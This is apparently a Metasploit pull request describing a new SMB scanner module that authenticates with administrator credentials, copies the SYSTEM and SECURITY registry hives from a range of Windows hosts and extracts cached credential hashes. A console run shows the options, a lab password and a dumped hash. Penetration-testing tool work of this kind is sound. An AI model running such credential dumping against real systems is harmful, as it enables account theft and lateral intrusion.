rapid7/metasploit-framework — pull request #1675 by R3dy (2013-03-27 02:13:16+00:00)
Title: Added new module auxiliary/scanner/smb/cachegrab

This module uses the psexec mixin to authenticate to a windows host or range of hosts and download a copy of the SYSTEM and SECURITY registry hives then extract cached hashes if present offline on the attacking system and not the victim.

http://blog.accuvant.com/blog/owning-computers-without-shell-access

msf auxiliary(cachegrab) > show options

Module options (auxiliary/scanner/smb/cachegrab):

Name Current Setting Required Description
---- --------------- -------- -----------
LOGDIR /tmp/msfhashes/cached yes This is a directory on your local attacking system used to store Hive files and hashes
RHOSTS 172.16.141.133-144 yes The target address range or CIDR identifier
RPORT 445 yes The Target port son
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass @ccuv@ntL@bs! no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser Administrator no The username to authenticate as
THREADS 10 yes The number of concurrent threads
WINPATH WINDOWS yes The name of the WINDOWS directory on the remote host

msf auxiliary(cachegrab) > exploit

[*] 172.16.141.133:445 - Dumping cached credentials...
[+] serveradmin:567d3207b8395d7df14a2213c921e94e:dbz-vuln.nets:dbz-vuln
[-] 172.16.141.142:445 - System does not appear to store any cached credentials
[*] Scanned 07 of 12 hosts (058% complete)
[*] Scanned 09 of 12 hosts (075% complete)
[*] Scanned 10 of 12 hosts (083% complete)
[*] Scanned 11 of 12 hosts (091% complete)
[*] Scanned 12 of 12 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(cachegrab) >